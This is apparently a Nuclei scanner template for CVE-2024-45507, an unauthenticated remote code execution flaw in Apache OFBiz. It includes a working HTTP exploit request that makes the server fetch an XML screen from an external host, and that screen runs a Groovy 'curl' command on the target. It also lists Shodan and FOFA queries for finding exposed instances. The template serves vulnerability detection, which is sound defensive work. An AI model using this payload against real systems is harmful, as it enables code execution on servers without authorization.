CVE-2024-45507: Apache OFBiz - Remote Code Execution

id: CVE-2024-45507

info:
  name: Apache OFBiz - Remote Code Execution
  author: chybeta,iamnooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
  remediation: |
    Users are recommended to upgrade to version 18.12.16, which fixes the issue.
  reference:
    - https://xz.aliyun.com/t/15569
    - https://x.com/chybeta/status/1833184898913636424
    - https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
    - https://ofbiz.apache.org/download.html
    - https://github.com/advisories/GHSA-w8w4-463p-8pg7
    - https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2024-45507
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45507
    cwe-id: CWE-918
    epss-score: 0.8737
    epss-percentile: 0.99419
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    vendor: apache
    product: ofbiz
    shodan-query:
      - ofbiz.visitor=
      - http.html:"ofbiz"
    fofa-query:
      - app="apache_ofbiz"
      - body="ofbiz"
  tags: cve,cve2024,apache,obiz,rce,oast,vkev

variables:
  oast: "{{interactsh-url}}"
  xml: '<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:''curl {{oast}}''.execute();}"/></actions></section></screen></screens>'

http:
  - raw:
      - |
        POST /webtools/control/view/StatsSinceStart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        statsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "StatsScreens"
# digest: 490a0046304402205fd8180e70c3d69df0db3a888e757c2a3b08305e5f5e498ce862ff106fb8506002207c434e5f0667aa3481e980249079eb68d3ba46c343fb960f0e6663ce924e0249:922c64590222798bb761d5b6d8e72950